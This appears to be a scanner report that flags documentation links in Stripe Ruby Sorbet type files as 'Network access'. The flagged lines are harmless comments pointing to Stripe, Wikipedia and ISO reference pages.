    class Jurisdiction < ::Stripe::StripeObject             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(String) }
  • Network accessline 125
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 132
    sig { returns(String) }             def level; end             # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.
  • Network accessline 133
    def level; end             # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.             sig { returns(T.nilable(String)) }
  • Network accessline 134
    # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.
  • Network accessline 159
    end           end           # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 160
    end           # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).           sig { returns(Integer) }
  • Network accessline 161
    # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 174
    sig { returns(String) }           def taxability_reason; end           # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 175
    def taxability_reason; end           # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).           sig { returns(Integer) }
  • Network accessline 176
    # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 184
    end         end         # The shipping amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this am
  • Network accessline 185
    end         # The shipping amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount.       
  • Network accessline 186
    # The shipping amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount.
  • Network accessline 187
    sig { returns(Integer) }         def amount; end         # The amount of tax calculated for shipping, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 188
    def amount; end         # The amount of tax calculated for shipping, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).         sig { returns(Integer) }
  • Network accessline 189
    # The amount of tax calculated for shipping, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 190
    sig { returns(Integer) }         def amount_tax; end         # The ID of an existing [ShippingRate](https://docs.stripe.com/api/shipping_rates/object).
  • Network accessline 191
    def amount_tax; end         # The ID of an existing [ShippingRate](https://docs.stripe.com/api/shipping_rates/object).         sig { returns(T.nilable(String)) }
  • Network accessline 192
    # The ID of an existing [ShippingRate](https://docs.stripe.com/api/shipping_rates/object).
  • Network accessline 199
    sig { returns(T.nilable(T::Array[TaxBreakdown])) }         def tax_breakdown; end         # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for shipping.
  • Network accessline 200
    def tax_breakdown; end         # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for shipping.         sig { returns(String) }
  • Network accessline 201
    # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for shipping.
  • Network accessline 212
    sig { returns(Integer) }       def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 213
    def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 214
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 215
    sig { returns(String) }       def currency; end       # The ID of an existing [Customer](https://docs.stripe.com/api/customers/object) used for the resource.
  • Network accessline 216
    def currency; end       # The ID of an existing [Customer](https://docs.stripe.com/api/customers/object) used for the resource.       sig { returns(T.nilable(String)) }
  • Network accessline 217
    # The ID of an existing [Customer](https://docs.stripe.com/api/customers/object) used for the resource.
  • Network accessline 230
    sig { returns(T::Boolean) }       def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 231
    def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T.
  • Network accessline 232
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax/transaction_line_item.rbi

  • Network accessline 17
    end       end       # The line item amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amoun
  • Network accessline 18
    end       # The line item amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount.       s
  • Network accessline 19
    # The line item amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount.
  • Network accessline 20
    sig { returns(Integer) }       def amount; end       # The amount of tax calculated for this line item, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 21
    def amount; end       # The amount of tax calculated for this line item, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).       sig { returns(Integer) }
  • Network accessline 22
    # The amount of tax calculated for this line item, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 29
    sig { returns(T::Boolean) }       def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 30
    def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T.
  • Network accessline 31
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 35
    sig { returns(String) }       def object; end       # The ID of an existing [Product](https://docs.stripe.com/api/products/object).
  • Network accessline 36
    def object; end       # The ID of an existing [Product](https://docs.stripe.com/api/products/object).       sig { returns(T.nilable(String)) }
  • Network accessline 37
    # The ID of an existing [Product](https://docs.stripe.com/api/products/object).
  • Network accessline 50
    sig { returns(String) }       def tax_behavior; end       # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for this resource.
  • Network accessline 51
    def tax_behavior; end       # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for this resource.       sig { returns(String) }
  • Network accessline 52
    # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for this resource.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax_code.rbi

  • Network accessline 4
    # typed: true module Stripe   # [Tax codes](https://stripe.com/docs/tax/tax-categories) classify goods and services for tax purposes.
  • Network accessline 5
    module Stripe   # [Tax codes](https://stripe.com/docs/tax/tax-categories) classify goods and services for tax purposes.   class TaxCode < APIResource
  • Network accessline 6
    # [Tax codes](https://stripe.com/docs/tax/tax-categories) classify goods and services for tax purposes.
  • Network accessline 18
    sig { returns(String) }     def object; end     # A list of [all tax codes available](https://stripe.com/docs/tax/tax-categories) to add to Products in order to allow specific tax calculations.
  • Network accessline 19
    def object; end     # A list of [all tax codes available](https://stripe.com/docs/tax/tax-categories) to add to Products in order to allow specific tax calculations.     sig {
  • Network accessline 20
    # A list of [all tax codes available](https://stripe.com/docs/tax/tax-categories) to add to Products in order to allow specific tax calculations.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax_id.rbi

  • Network accessline 4
    # typed: true module Stripe   # You can add one or multiple tax IDs to a [customer](https://docs.stripe.com/api/customers) or account.
  • Network accessline 5
    module Stripe   # You can add one or multiple tax IDs to a [customer](https://docs.stripe.com/api/customers) or account.   # Customer and account tax IDs get displayed on related invoices and credit notes.
  • Network accessline 6
    # You can add one or multiple tax IDs to a [customer](https://docs.stripe.com/api/customers) or account.
  • Network accessline 7
    # Customer and account tax IDs get displayed on related invoices and credit notes.   #   # Related guides: [Customer tax identification numbers](https://docs.stripe.com/billing/taxes/tax-ids), [Account tax IDs](https://docs.stripe.com/invoi
  • Network accessline 8
    #   # Related guides: [Customer tax identification numbers](https://docs.stripe.com/billing/taxes/tax-ids), [Account tax IDs](https://docs.stripe.com/invoicing/connect#account-tax-ids)   class TaxId < APIResource
  • Network accessline 9
    # Related guides: [Customer tax identification numbers](https://docs.stripe.com/billing/taxes/tax-ids), [Account tax IDs](https://docs.stripe.com/invoicing/connect#account-tax-ids)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax_rate.rbi

  • Network accessline 4
    # typed: true module Stripe   # Tax rates can be applied to [invoices](https://docs.stripe.com/invoicing/taxes/tax-rates), [subscriptions](https://docs.stripe.com/billing/taxes/tax-rates) and [Checkout Sessions](https://docs.stripe.com/paym
  • Network accessline 5
    module Stripe   # Tax rates can be applied to [invoices](https://docs.stripe.com/invoicing/taxes/tax-rates), [subscriptions](https://docs.stripe.com/billing/taxes/tax-rates) and [Checkout Sessions](https://docs.stripe.com/payments/checkout/
  • Network accessline 6
    # Tax rates can be applied to [invoices](https://docs.stripe.com/invoicing/taxes/tax-rates), [subscriptions](https://docs.stripe.com/billing/taxes/tax-rates) and [Checkout Sessions](https://docs.stripe.com/payments/checkout/use-manual-tax-r
  • Network accessline 7
    #   # Related guide: [Tax rates](https://docs.stripe.com/billing/taxes/tax-rates)   class TaxRate < APIResource
  • Network accessline 8
    # Related guide: [Tax rates](https://docs.stripe.com/billing/taxes/tax-rates)
  • Network accessline 25
    sig { returns(T::Boolean) }     def active; end     # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 26
    def active; end     # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).     sig { returns(T.nilable(String)) }
  • Network accessline 27
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 60
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 61
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.nila
  • Network accessline 62
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 72
    sig { returns(T.nilable(String)) }     def rate_type; end     # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.
  • Network accessline 73
    def rate_type; end     # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.     sig { returns(T.nilable(String)) }
  • Network accessline 74
    # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/terminal/configuration.rbi

  • Network accessline 6
    module Terminal     # A Configurations object represents how features should be configured for terminal readers.     # For information about how to use it, see the [Terminal configurations documentation](https://docs.stripe.com/terminal/fle
  • Network accessline 7
    # A Configurations object represents how features should be configured for terminal readers.     # For information about how to use it, see the [Terminal configurations documentation](https://docs.stripe.com/terminal/fleet/configurations-ov
  • Network accessline 8
    # For information about how to use it, see the [Terminal configurations documentation](https://docs.stripe.com/terminal/fleet/configurations-overview).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/terminal/connection_token.rbi

  • Network accessline 7
    # A Connection Token is used by the Stripe Terminal SDK to connect to a reader.     #     # Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations)
  • Network accessline 8
    #     # Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations)     class ConnectionToken < APIResource
  • Network accessline 9
    # Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations)
  • Network accessline 10
    class ConnectionToken < APIResource       # The id of the location that this connection token is scoped to. Note that location scoping only applies to internet-connected readers. For more details, see [the docs on scoping connection tokens]
  • Network accessline 11
    # The id of the location that this connection token is scoped to. Note that location scoping only applies to internet-connected readers. For more details, see [the docs on scoping connection tokens](https://docs.stripe.com/terminal/fleet/lo

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/terminal/location.rbi

  • Network accessline 7
    # A Location represents a grouping of readers.     #     # Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations)
  • Network accessline 8
    #     # Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations)     class Location < APIResource
  • Network accessline 9
    # Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations)
  • Network accessline 13
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 14
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 15
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 25
    sig { returns(T.nilable(String)) }         def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 26
    def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 27
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 39
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 40
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 41
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 68
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 69
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 70
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 120
    sig { returns(T::Boolean) }       def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 121
    def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T:
  • Network accessline 122
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 133
    def deleted; end       # Creates a new Location object.       # For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/locations) guide.
  • Network accessline 134
    # Creates a new Location object.       # For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/locations) guide.       sig {
  • Network accessline 135
    # For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/locations) guide.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/terminal/reader.rbi

  • Network accessline 7
    # A Reader represents a physical device for accepting payment details.     #     # Related guide: [Connecting to a reader](https://docs.stripe.com/terminal/payments/connect-reader)
  • Network accessline 8
    #     # Related guide: [Connecting to a reader](https://docs.stripe.com/terminal/payments/connect-reader)     class Reader < APIResource
  • Network accessline 9
    # Related guide: [Connecting to a reader](https://docs.stripe.com/terminal/payments/connect-reader)
  • Network accessline 193
    sig { returns(T::Array[Input]) }           def inputs; end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object i
  • Network accessline 194
    def inputs; end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.           sig { retu
  • Network accessline 195
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 239
    def payment_intent; end           # PaymentMethod objects represent your customer's payment instruments.           # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them t
  • Network accessline 240
    # PaymentMethod objects represent your customer's payment instruments.           # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to           # Customer objects to 
  • Network accessline 241
    # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 242
    # Customer objects to store instrument details for future payments.           #           # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/mo
  • Network accessline 243
    #           # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios).           sig { returns(T.nilable(::Stripe::PaymentMeth
  • Network accessline 244
    # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios).
  • Network accessline 368
    sig { returns(T.nilable(T.any(String, ::Stripe::Charge))) }           def charge; end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional inf
  • Network accessline 369
    def charge; end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.           sig { retu
  • Network accessline 370
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 399
    class Cart < ::Stripe::StripeObject             class LineItem < ::Stripe::StripeObject               # The amount of the line item. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 400
    class LineItem < ::Stripe::StripeObject               # The amount of the line item. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).               sig { returns(Integer) }
  • Network accessline 401
    # The amount of the line item. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 415
    end             end             # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 416
    end             # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).             sig { returns(String) }
  • Network accessline 417
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 421
    sig { returns(T::Array[LineItem]) }             def line_items; end             # Tax amount for the entire cart. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 422
    def line_items; end             # Tax amount for the entire cart. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).             sig { returns(T.nilable(Integer)) }
  • Network accessline 423
    # Tax amount for the entire cart. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 424
    sig { returns(T.nilable(Integer)) }             def tax; end             # Total amount for the entire cart, including tax. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 425
    def tax; end             # Total amount for the entire cart, including tax. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).             sig { returns(Integer) }
  • Network accessline 426
    # Total amount for the entire cart, including tax. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 522
    sig { returns(T.nilable(T.any(String, ::Stripe::Terminal::Location))) }       def location; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing addition
  • Network accessline 523
    def location; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T:
  • Network accessline 524
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 537
    sig { returns(T.nilable(T::Boolean)) }       def deleted; end       # Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven
  • Network accessline 538
    def deleted; end       # Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven#programmatic-cancellation) for more details.
  • Network accessline 539
    # Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven#programmatic-cancellation) for more details.
  • Network accessline 545
    # Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven#programmatic-cancellation) for more details.
  • Network accessline 551
    # Initiates an [input collection flow](https://docs.stripe.com/docs/terminal/features/collect-inputs) on a Reader to display input forms and collect information from your customers.
  • Network accessline 557
    # Initiates an [input collection flow](https://docs.stripe.com/docs/terminal/features/collect-inputs) on a Reader to display input forms and collect information from your customers.
  • Network accessline 563
    # Initiates a payment flow on a Reader and updates the PaymentIntent with card details before manual confirmation. See [Collecting a Payment method](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=s
  • Network accessline 569
    # Initiates a payment flow on a Reader and updates the PaymentIntent with card details before manual confirmation. See [Collecting a Payment method](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=s
  • Network accessline 575
    # Finalizes a payment on a Reader. See [Confirming a Payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=inspect#confirm-the-paymentintent) for more details.
  • Network accessline 581
    # Finalizes a payment on a Reader. See [Confirming a Payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=inspect#confirm-the-paymentintent) for more details.
  • Network accessline 611
    # Initiates a payment flow on a Reader. See [process the payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=immediately#process-payment) for more details.
  • Network accessline 617
    # Initiates a payment flow on a Reader. See [process the payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=immediately#process-payment) for more details.
  • Network accessline 623
    # Initiates a SetupIntent flow on a Reader. See [Save directly without charging](https://docs.stripe.com/docs/terminal/features/saving-payment-details/save-directly) for more details.
  • Network accessline 629
    # Initiates a SetupIntent flow on a Reader. See [Save directly without charging](https://docs.stripe.com/docs/terminal/features/saving-payment-details/save-directly) for more details.
  • Network accessline 635
    # Initiates an in-person refund on a Reader. See [Refund an Interac Payment](https://docs.stripe.com/docs/terminal/payments/regional?integration-country=CA#refund-an-interac-payment) for more details.
  • Network accessline 641
    # Initiates an in-person refund on a Reader. See [Refund an Interac Payment](https://docs.stripe.com/docs/terminal/payments/regional?integration-country=CA#refund-an-interac-payment) for more details.
  • Network accessline 647
    # Sets the reader display to show [cart details](https://docs.stripe.com/docs/terminal/features/display).
  • Network accessline 653
    # Sets the reader display to show [cart details](https://docs.stripe.com/docs/terminal/features/display).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/token.rbi

  • Network accessline 8
    # your customers in a secure manner. A token representing this information is   # returned to your server to use. Use our   # [recommended payments integrations](https://docs.stripe.com/payments) to perform this process
  • Network accessline 9
    # returned to your server to use. Use our   # [recommended payments integrations](https://docs.stripe.com/payments) to perform this process   # on the client-side. This guarantees that no sensitive card data touches your server,
  • Network accessline 10
    # [recommended payments integrations](https://docs.stripe.com/payments) to perform this process
  • Network accessline 20
    #   # You can't store or use tokens more than once. To store card or bank account   # information for later use, create [Customer](https://docs.stripe.com/api#customers)
  • Network accessline 21
    # You can't store or use tokens more than once. To store card or bank account   # information for later use, create [Customer](https://docs.stripe.com/api#customers)   # objects or [External accounts](https://docs.stripe.com/api#external_ac
  • Network accessline 22
    # information for later use, create [Customer](https://docs.stripe.com/api#customers)
  • Network accessline 23
    # objects or [External accounts](https://docs.stripe.com/api#external_accounts).
  • Network accessline 24
    # [Radar](https://docs.stripe.com/radar), our integrated solution for automatic fraud protection,
  • Network accessline 38
    # transfer to those cards later.     #     # Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards)
  • Network accessline 39
    #     # Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards)     sig { returns(T.nilable(::Stripe::Card)) }
  • Network accessline 40
    # Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards)
  • Network accessline 63
    def used; end     # Creates a single-use token that represents a bank account's details.     # You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do so, attach it to a [
  • Network accessline 64
    # Creates a single-use token that represents a bank account's details.     # You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do so, attach it to a [connected account]
  • Network accessline 65
    # You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do so, attach it to a [connected account](https://docs.stripe.com/api#accounts) where [controller.requirement_collec

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/topup.rbi

  • Network accessline 8
    # unique, random ID.   #   # Related guide: [Topping up your platform account](https://docs.stripe.com/connect/top-ups)
  • Network accessline 9
    #   # Related guide: [Topping up your platform account](https://docs.stripe.com/connect/top-ups)   class Topup < APIResource
  • Network accessline 10
    # Related guide: [Topping up your platform account](https://docs.stripe.com/connect/top-ups)
  • Network accessline 19
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 20
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 21
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 28
    sig { returns(T.nilable(Integer)) }     def expected_availability_date; end     # Error code explaining reason for top-up failure if available (see [the errors section](https://docs.stripe.com/api#errors) for a list of codes).
  • Network accessline 29
    def expected_availability_date; end     # Error code explaining reason for top-up failure if available (see [the errors section](https://docs.stripe.com/api#errors) for a list of codes).     sig { returns(T.nilable(String)) }
  • Network accessline 30
    # Error code explaining reason for top-up failure if available (see [the errors section](https://docs.stripe.com/api#errors) for a list of codes).
  • Network accessline 40
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 41
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T::Has
  • Network accessline 42
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/transfer.rbi

  • Network accessline 9
    # Before April 6, 2017, transfers also represented movement of funds from a   # Stripe account to a card or bank account. This behavior has since been split   # out into a [Payout](https://api.stripe.com#payout_object) object, with correspo
  • Network accessline 10
    # Stripe account to a card or bank account. This behavior has since been split   # out into a [Payout](https://api.stripe.com#payout_object) object, with corresponding payout endpoints. For more   # information, read about the
  • Network accessline 11
    # out into a [Payout](https://api.stripe.com#payout_object) object, with corresponding payout endpoints. For more
  • Network accessline 12
    # information, read about the   # [transfer/payout split](https://docs.stripe.com/transfer-payout-split).   #
  • Network accessline 13
    # [transfer/payout split](https://docs.stripe.com/transfer-payout-split).
  • Network accessline 14
    #   # Related guide: [Creating separate charges and transfers](https://docs.stripe.com/connect/separate-charges-and-transfers)   class Transfer < APIResource
  • Network accessline 15
    # Related guide: [Creating separate charges and transfers](https://docs.stripe.com/connect/separate-charges-and-transfers)
  • Network accessline 27
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 28
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 29
